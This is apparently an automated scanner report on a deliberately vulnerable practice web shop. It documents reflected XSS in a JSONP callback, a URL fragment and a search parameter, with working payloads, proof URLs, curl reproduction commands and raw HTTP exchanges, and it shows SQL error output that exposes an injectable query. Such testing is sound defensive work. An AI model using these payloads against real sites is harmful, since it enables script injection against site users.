date: Thu, 17 Sep 2026 09:57:32 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

lfeda'"<:;/`>gvunz([{"id":"1","name":"Quantum USB Cable","price":"9.99"},{"id":"2","name":"Self-Stirring Mug","price":"14.50"},{"id":"3","name":"Regex T-Shirt","price":"19.00"},{"id":"4","name":"The Art of Off-By-One","price":"29.95"},{"id":"5","name":"Blinkenlights Kit","price":"42.00"},{"id":"6","name":"404 Hoodie","price":"39.00"},{"id":"7","name":"Rubber Duck (Debugging Grade)","price":"6.50"},{"id":"8","name":"Clean Code, Dirty Deadlines","price":"24.99"}])

sentinel0 HTTP 200 https://sekumart.sekuripy.hr/api.php?callback=cb&sispqvh=%3Cskssjv7y%3E

request

GET /api.php?callback=cb&sispqvh=%3Cskssjv7y%3E HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 253
content-type: application/javascript
date: Thu, 17 Sep 2026 09:57:32 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

cb([{"id":"1","name":"Quantum USB Cable","price":"9.99"},{"id":"2","name":"Self-Stirring Mug","price":"14.50"},{"id":"3","name":"Regex T-Shirt","price":"19.00"},{"id":"4","name":"The Art of Off-By-One","price":"29.95"},{"id":"5","name":"Blinkenlights Kit","price":"42.00"},{"id":"6","name":"404 Hoodie","price":"39.00"},{"id":"7","name":"Rubber Duck (Debugging Grade)","price":"6.50"},{"id":"8","name":"Clean Code, Dirty Deadlines","price":"24.99"}])

sentinel1 HTTP 200 https://sekumart.sekuripy.hr/api.php?callback=cb&s4pwlad=%3Cskssrzcg%3E

request

GET /api.php?callback=cb&s4pwlad=%3Cskssrzcg%3E HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 253
content-type: application/javascript
date: Thu, 17 Sep 2026 09:57:33 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

cb([{"id":"1","name":"Quantum USB Cable","price":"9.99"},{"id":"2","name":"Self-Stirring Mug","price":"14.50"},{"id":"3","name":"Regex T-Shirt","price":"19.00"},{"id":"4","name":"The Art of Off-By-One","price":"29.95"},{"id":"5","name":"Blinkenlights Kit","price":"42.00"},{"id":"6","name":"404 Hoodie","price":"39.00"},{"id":"7","name":"Rubber Duck (Debugging Grade)","price":"6.50"},{"id":"8","name":"Clean Code, Dirty Deadlines","price":"24.99"}])

sentinel2 HTTP 200 https://sekumart.sekuripy.hr/api.php?callback=cb&sjfv34m=%3Csksspud1%3E

request

GET /api.php?callback=cb&sjfv34m=%3Csksspud1%3E HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 253
content-type: application/javascript
date: Thu, 17 Sep 2026 09:57:33 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

cb([{"id":"1","name":"Quantum USB Cable","price":"9.99"},{"id":"2","name":"Self-Stirring Mug","price":"14.50"},{"id":"3","name":"Regex T-Shirt","price":"19.00"},{"id":"4","name":"The Art of Off-By-One","price":"29.95"},{"id":"5","name":"Blinkenlights Kit","price":"42.00"},{"id":"6","name":"404 Hoodie","price":"39.00"},{"id":"7","name":"Rubber Duck (Debugging Grade)","price":"6.50"},{"id":"8","name":"Clean Code, Dirty Deadlines","price":"24.99"}])

Detection details — how this was found and rated

checks: injection/xss
rating basis: P3 - reflected XSS, proven by the browser executing the payload
class: xss injection

All supporting observations

Reflected XSS in callback executed in the browser injection/xss · medium
A payload placed in callback was executed by the browser: loading the URL below raised a dialog containing our one-time token sksde7km2. Nothing about this is inferred - the code ran.

payload ;alert(/sksde7km2/);// token sksde7km2 reflection context a JavaScript callback expression loaded as a script dialog [sekuscan:alert] /sksde7km2/ observed via the page's own alert() call, captured instead of shown proof url https://sekumart.sekuripy.hr/api.php?callback=%3Balert%28/sksde7km2/%29%3B//
Reflected XSS in callback — a JavaScript callback expression loaded as a script injection/xss · medium
The value of callback comes back inside a JavaScript callback expression loaded as a script. The characters that position needs in order to execute arrived unfiltered, so a payload placed here runs.

probe a longer marker appended to the value payload cb'lfeda/<;>`"':gvunz reflection context a JavaScript callback expression loaded as a script context notation JSONP callback expression filtering no status 200 response excerpt cb'lfeda/<;>`"':gvunz([{"id":"1","name":"Quantum USB Cable","price":"9.99"},{"id":"2","name":"Self-Stirring Mug","price":"14.50"},{"id":"3"…
Reflected XSS in callback — the response body, which is served as plain text injection/xss · medium
The value of callback comes back inside the response body, which is served as plain text. The characters that position needs in order to execute arrived unfiltered, so a payload placed here runs.

probe a longer marker appended to the value payload cb'lfeda/<;>`"':gvunz reflection context the response body, which is served as plain text context notation ".xss.", pure text response filtering no status 200 response excerpt cblfeda/<;>`"':gvunz([{"id":"1","name":"Quantum USB Cable","price":"9.99"},{"id":"2","name":"Self-Stirring Mug","price":"14.50"},{"id":"3",…

GET/help.php URL fragment · lang confirmed · high confidence BL-021 medium

Evidence. The payload <sksdon> supplied through lang exists as a real element in the rendered document, so attacker-controlled markup is parsed as markup.

Why this proves it. The value is parsed as markup in that position, with the characters the position needs left unencoded.

"/help.php">Help</a></nav><main><div id="langbanner" class="langbanner">Chosen language: frienddonfi<sksdon>zmtlp</sksdon></div><h2>Help</h2><p><b>sekumart</b> is a deliberately vulnerable practice shop. Poi

What we verified The value is reflected into a position where the browser parses it as markup or script, with the characters that position needs left unencoded.

Assessment boundary: No session was stolen, no request was made on a user's behalf, and no payload was left behind beyond the marker strings listed in the scope statement.

location: GET https://sekumart.sekuripy.hr/help.php proved with 2 payloads
input: lang in the URL fragment
authentication: none - reachable anonymously
classification: CWE-79 · WASC-8
standards: OWASP Top 10 2025A05:2025 OWASP ASVS 5.0.0V3 OWASP WSTG 4.2WSTG-INPV-01, WSTG-INPV-02 ISO/IEC 27001 2022A.8.28, A.8.29 NIST CSF 2.0ID.RA-01 PCI DSS 4.0.16.2.4, 6.3.1

Decisive evidence

The value is parsed as markup confirmed

payload

frienddonfi<sksdon>zmtlp

element created

"/help.php">Help</a></nav><main><div id="langbanner" class="langbanner">Chosen language: frienddonfi<sksdon>zmtlp</sksdon></div><h2>Help</h2><p><b>sekumart</b> is a deliberately vulnerable practice shop. Poi

Why this proves it. The value is parsed as markup in that position, with the characters the position needs left unencoded.

Additional corroboration — 1

Reflected XSS in lang executed in the browser
A payload placed in lang was executed by the browser: loading the URL below raised a dialog containing our one-time token sks45f9r8. Nothing about this is inferred - the code ran.

Reproduce

navigate https://sekumart.sekuripy.hr/help.php#lang=frienddonfi%3Csksdon%3Ezmtlp bytes
navigate https://sekumart.sekuripy.hr/help.php#lang="><svg onload=alert(/sks45f9r8/)> bytes — a dialog reading sks45f9r8 appears

Detection details — how this was found and rated

checks: injection/xss
rating basis: P3 - reflected XSS: requires delivering a crafted link
class: xss injection

All supporting observations

Injected element parsed as markup via lang injection/xss · medium
The payload <sksdon> supplied through lang exists as a real element in the rendered document, so attacker-controlled markup is parsed as markup.

probe an HTML tag payload frienddonfi<sksdon>zmtlp element <sksdon> status 200 response excerpt "/help.php">Help</a></nav><main><div id="langbanner" class="langbanner">Chosen language: frienddonfi<sksdon>zmtlp</sksdon></div><h2>Help</h…
Reflected XSS in lang executed in the browser injection/xss · medium
A payload placed in lang was executed by the browser: loading the URL below raised a dialog containing our one-time token sks45f9r8. Nothing about this is inferred - the code ran.

payload "><svg onload=alert(/sks45f9r8/)> token sks45f9r8 dialog [sekuscan:taint] {"sink":"Element.innerHTML","source":"location.hash[lang]","carried":"\"><svg onload=alert(/sks45f9r8/)>","sample":"Chosen… observed via the page's own alert() call, captured instead of shown proof url https://sekumart.sekuripy.hr/help.php#lang="><svg onload=alert(/sks45f9r8/)>

GET/ query string · q confirmed · high confidence BL-022 medium

Evidence. A payload placed in q was executed by the browser: loading the URL below raised a dialog containing our one-time token sksrrhyl8. Nothing about this is inferred - the code ran.

Why this proves it. The browser executed it and raised a dialog carrying our one-time token.

What we verified The browser executed a payload placed in this parameter: the page's own alert() call was captured with our one-time token in it.

Assessment boundary: No session was stolen, no request was made on a user's behalf, and no payload was left behind beyond the marker strings listed in the scope statement.

location: GET https://sekumart.sekuripy.hr/
input: q in the query string
authentication: none - reachable anonymously
classification: CWE-79 · WASC-8
standards: OWASP Top 10 2025A05:2025 OWASP ASVS 5.0.0V3 OWASP WSTG 4.2WSTG-INPV-01, WSTG-INPV-02 ISO/IEC 27001 2022A.8.28, A.8.29 NIST CSF 2.0ID.RA-01 PCI DSS 4.0.16.2.4, 6.3.1

Decisive evidence

The browser executed our payload confirmed

payload "><svg onload=alert(/sksrrhyl8/)>

execution CONFIRMED the page's own alert() call, captured instead of shown, carrying [sekuscan:alert] /sksrrhyl8/

Why this proves it. The browser executed it and raised a dialog carrying our one-time token.

Reproduce

fill_submit https://sekumart.sekuripy.hr/ bytes — a dialog reading sksrrhyl8 appears

execute

curl -i -X GET 'https://sekumart.sekuripy.hr/search.php?q=%22%3E%3Csvg+onload%3Dalert%28%2Fsksrrhyl8%2F%29%3E' \
  -H 'accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' \
  -H 'referer: https://sekumart.sekuripy.hr/' \
  -H 'user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36 SekuScan/0.1.0 (+https://www.sekuscan.com/)'

GET /search.php?q=%22%3E%3Csvg+onload%3Dalert%28%2Fsksrrhyl8%2F%29%3E HTTP/1.1
Host: sekumart.sekuripy.hr
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
referer: https://sekumart.sekuripy.hr/
user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36 SekuScan/0.1.0 (+https://www.sekuscan.com/)

Raw exchanges — 2 recorded request/response pairs

execute HTTP 200 https://sekumart.sekuripy.hr/search.php?q=%22%3E%3Csvg+onload%3Dalert%28%2Fsksrrhyl8%2F…

request

GET /search.php?q=%22%3E%3Csvg+onload%3Dalert%28%2Fsksrrhyl8%2F%29%3E HTTP/1.1
Host: sekumart.sekuripy.hr
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
referer: https://sekumart.sekuripy.hr/
user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36 SekuScan/0.1.0 (+https://www.sekuscan.com/)

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1403
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:58:07 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — search</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (4)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalo

execute_quiet HTTP 200 https://sekumart.sekuripy.hr/search.php?q=%22%3E%3Csvg+onload%3Ddocument.title%3D%2Fsksrrh…

request

GET /search.php?q=%22%3E%3Csvg+onload%3Ddocument.title%3D%2Fsksrrhyl8%2F.source%3E HTTP/1.1
Host: sekumart.sekuripy.hr
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
referer: https://sekumart.sekuripy.hr/
user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36 SekuScan/0.1.0 (+https://www.sekuscan.com/)

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1408
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:58:07 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — search</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (6)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalo

Detection details — how this was found and rated

checks: injection/xss
rating basis: P3 - reflected XSS, proven by the browser executing the payload
class: xss injection

GET/search.php form body · q confirmed · high confidence BL-023 medium

Evidence. The payload <sksqom> supplied through q exists as a real element in the rendered document, so attacker-controlled markup is parsed as markup.

Why this proves it. The value is parsed as markup in that position, with the characters the position needs left unencoded.

.php'>Help</a></nav><main><div id='langbanner'></div><h2>Search</h2><p>You searched for: <b>sksqomkb<sksqom>yrdtk</b></p><div class='grid'></div><p>no matches.</p><p class='vsrc'>👁 <a href='/viewsour

What we verified The value is reflected into a position where the browser parses it as markup or script, with the characters that position needs left unencoded.

Assessment boundary: No session was stolen, no request was made on a user's behalf, and no payload was left behind beyond the marker strings listed in the scope statement.

location: GET https://sekumart.sekuripy.hr/search.php?q=sksqomkb%3Csksqom%3Eyrdtk
input: q in the form body
authentication: none - reachable anonymously
classification: CWE-79 · WASC-8
standards: OWASP Top 10 2025A05:2025 OWASP ASVS 5.0.0V3 OWASP WSTG 4.2WSTG-INPV-01, WSTG-INPV-02 ISO/IEC 27001 2022A.8.28, A.8.29 NIST CSF 2.0ID.RA-01 PCI DSS 4.0.16.2.4, 6.3.1

Decisive evidence

The value is parsed as markup confirmed

payload

sksqomkb<sksqom>yrdtk

element created

.php'>Help</a></nav><main><div id='langbanner'></div><h2>Search</h2><p>You searched for: <b>sksqomkb<sksqom>yrdtk</b></p><div class='grid'></div><p>no matches.</p><p class='vsrc'>👁 <a href='/viewsour

Why this proves it. The value is parsed as markup in that position, with the characters the position needs left unencoded.

Reproduce

navigate https://sekumart.sekuripy.hr/search.php?q=sksqomkb%3Csksqom%3Eyrdtk bytes

an HTML tag

curl -i -X GET 'https://sekumart.sekuripy.hr/search.php?q=sksqomkb%3Csksqom%3Eyrdtk' \
  -H 'accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' \
  -H 'referer: https://sekumart.sekuripy.hr/' \
  -H 'user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36 SekuScan/0.1.0 (+https://www.sekuscan.com/)'

GET /search.php?q=sksqomkb%3Csksqom%3Eyrdtk HTTP/1.1
Host: sekumart.sekuripy.hr
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
referer: https://sekumart.sekuripy.hr/
user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36 SekuScan/0.1.0 (+https://www.sekuscan.com/)

Raw exchanges — 6 recorded request/response pairs

a longer marker appended to the value HTTP 200 https://sekumart.sekuripy.hr/search.php?q=sks%27qomkb%27%3B%22/%60%3A%3C%3Eyrdtk

request

GET /search.php?q=sks%27qomkb%27%3B%22/%60%3A%3C%3Eyrdtk HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 346
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:58:03 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<br />
<b>Fatal error</b>:  Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'qomkb';"/`:<>yrdtk%'' at line 1 in /var/www/html/source/search_low.php:7
Stack trace:
#0 /var/www/html/source/search_low.php(7): mysqli_query(Object(mysqli), 'SELECT id,name,...')
#1 /var/www/html/search.php(3): require('/var/www/html/s...')
#2 {main}
  thrown in <b>/var/www/html/source/search_low.php</b> on line <b>7</b><br />

a shorter marker appended to the value HTTP 200 https://sekumart.sekuripy.hr/search.php?q=sksqomkb%3C%3Eyrdtk

request

GET /search.php?q=sksqomkb%3C%3Eyrdtk HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1391
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:58:03 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — search</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (4)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalo

larger_replace HTTP 200 https://sekumart.sekuripy.hr/search.php?q=qomkb%27%3A/%3B%60%22%3E%3Cyrdtk

request

GET /search.php?q=qomkb%27%3A/%3B%60%22%3E%3Cyrdtk HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 341
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:58:03 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<br />
<b>Fatal error</b>:  Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ':/;`"><yrdtk%'' at line 1 in /var/www/html/source/search_low.php:7
Stack trace:
#0 /var/www/html/source/search_low.php(7): mysqli_query(Object(mysqli), 'SELECT id,name,...')
#1 /var/www/html/search.php(3): require('/var/www/html/s...')
#2 {main}
  thrown in <b>/var/www/html/source/search_low.php</b> on line <b>7</b><br />

an HTML tag HTTP 200 https://sekumart.sekuripy.hr/search.php?q=sksqomkb%3Csksqom%3Eyrdtk

request

GET /search.php?q=sksqomkb%3Csksqom%3Eyrdtk HTTP/1.1
Host: sekumart.sekuripy.hr
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
referer: https://sekumart.sekuripy.hr/
user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36 SekuScan/0.1.0 (+https://www.sekuscan.com/)

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1392
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:58:03 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — search</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (4)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalo

sentinel0 HTTP 200 https://sekumart.sekuripy.hr/search.php?q=&sispqvh=%3Cskssjv7y%3E

request

GET /search.php?q=&sispqvh=%3Cskssjv7y%3E HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1377
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:58:03 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — search</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (4)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalo

sentinel1 HTTP 200 https://sekumart.sekuripy.hr/search.php?q=&s4pwlad=%3Cskssrzcg%3E

request

GET /search.php?q=&s4pwlad=%3Cskssrzcg%3E HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1377
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:58:03 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — search</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (4)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. 